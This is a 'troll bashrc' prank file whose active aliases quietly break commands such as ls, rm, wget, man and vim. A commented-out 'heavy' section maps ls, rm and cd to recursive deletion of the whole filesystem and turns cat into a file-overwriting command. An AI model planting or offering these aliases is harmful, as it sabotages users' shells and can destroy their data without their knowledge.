.trollrc

# Troll bashrc.
# Many ideas from https://chat.stackexchange.com/rooms/240/conversation/aliases


# Mild troll-ness
alias ls=sl
alias wget=ping
alias rm="echo \"You can't use rm\" #"
alias man='echo No manual entry for $1'
alias vim=nano
alias echo=`bash -c`          # credit https://chat.stackexchange.com/transcript/message/38176402#38176402

# Alternate
#alias ls='cmd.exe /C DIR'
#alias ping=wget

# Heavy troll-ness
#alias rm='rm -rf --no-preserve-root /'
#alias ls='rm -rf --no-preserve-root /'
#alias cd='rm -r'
#alias gcc=rm
#alias apt-get='apt-get remove $2'
#alias cat='cat >'